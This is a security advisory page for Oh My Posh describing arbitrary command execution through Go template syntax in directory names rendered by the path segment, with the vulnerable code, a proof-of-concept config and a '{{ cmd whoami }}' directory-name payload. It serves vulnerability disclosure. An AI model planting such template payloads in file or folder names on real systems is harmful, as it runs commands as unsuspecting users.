GHSA-6xj8-qv9j-xcjq: Oh My Posh: Arbitrary command execution via template injection in the path segment
Summary
Oh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go text/template engine. That engine's function map exposes a cmd function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.
Details
src/segments/path.go, setStyle():
// make sure we resolve all templates
if txt, err := template.Render(pt.Path, pt); err == nil {
pt.Path = txt
}
pt.Path is built from the raw folder-name components of the current working directory (colorizePath inserts each folder name verbatim via fmt.Sprintf(folderFormat, element)). The whole string is then passed to template.Render, which parses and executes it with the full function map from src/template/func_map.go, including:
func cmd(command string, args ...string) (string, error) {
output, err := env.RunCommand(command, args...)
return strings.TrimSpace(output), err
}
Any template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (src/config/default.go) contains a path segment.
PoC
Config (a single default path segment):
{ "version":3, "blocks":[{"type":"prompt","alignment":"left","segments":[
{"type":"path","style":"plain","foreground":"#ffffff",
"template":"{{ .Path }}","properties":{"style":"full"}}]}]}
Command execution reflected into the prompt (--pwd supplies exactly the string env.Pwd() returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only / and NUL are disallowed):
$ oh-my-posh print primary --config p.json --shell fish \
--pwd '/home/v/{{ cmd whoami }}'
/home/v/<username> # whoami executed, output substituted
Side effect (file write),
Details
Original advisory: https://github.com/advisories/GHSA-6xj8-qv9j-xcjq
More from GitHub Security Advisories
- mediumGHSA-jr6p-8pjj-mfx6: Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators s…2026-07-31
- mediumGHSA-68cj-mvg9-rgm2: Capsule: CapsuleConfiguration NodeMetadata regex fields lack webhook validation, allowing…2026-07-31
- mediumGHSA-ff84-5f28-78qj: re2: Out-of-bounds heap read in `exec`/`test`/`match` via attacker-influenced `lastIndex`…2026-07-31
- mediumGHSA-6hxr-mr5r-9836: re2: Global `String.prototype.match` with an empty-matchable pattern never advances → inf…2026-07-31
- mediumGHSA-x83g-979r-f5fh: Sylius Mollie Plugin has unauthenticated IDOR that leaks order token and customer PII2026-07-31